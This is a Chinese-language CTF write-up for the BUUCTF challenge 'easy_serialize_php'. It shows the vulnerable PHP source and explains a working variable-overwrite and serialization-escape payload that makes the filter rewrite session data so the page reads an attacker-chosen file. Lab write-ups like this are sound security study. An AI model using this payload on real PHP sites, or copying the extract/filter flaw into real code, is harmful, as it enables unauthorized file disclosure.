【BUUCTF】[安洵杯 2019]easy_serialize_php

直接看到源码

<?php

$function = @$_GET['f'];

function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}


if($_SESSION){
    unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

if(!$function){
    echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
    highlight_file('index.php');
}else if($function == 'phpinfo'){
    eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));
}

这道题目姿势点还比较多，看了wp算是学习了一波
首先根据提示看phpinfo

我们要尝试读取这个文件
接下来是本题关键漏洞地方

extract($_POST);

这个函数可以进行变量覆盖，新传入的键值对会覆盖原来的数据，所以我们可以post自己想要的东西
接下来代码强行不解释加了一个无用的键值对

if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

最后一块是正常的读取文件

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
    highlight_file('index.php');
}else if($function == 'phpinfo'){
    eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));
}

回过头看过滤函数

function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}

简单理解一下就是将数组里的名字都替换为空
利用这一点再结合反序列化的特性可以进行逃逸
PL

_SESSION[phpflag]=;s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

ZDBnM19mMWFnLnBocA==是d0g3_f1ag.php进行base64后的值
解释一波
传值后的序列化字符串

"a:2:{s:7:"phpflag";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}"
;s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}"

phpflag这个键对应的值是传进去的48个字符;s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}，当进行了过滤后phpflag会变为空，则序列字符串变成了

"a:2:{s:7:"";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}"
;s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}"

第一个键值对是七个字符的";s:48:对应字符串1，第二个就是img对应ZDBnM19mMWFnLnBocA==，然后右括号可以形成闭合，括号外的会被抛弃不会影响结果

/d0g3_fllllllag进行base64后还是20位，直接替换就可以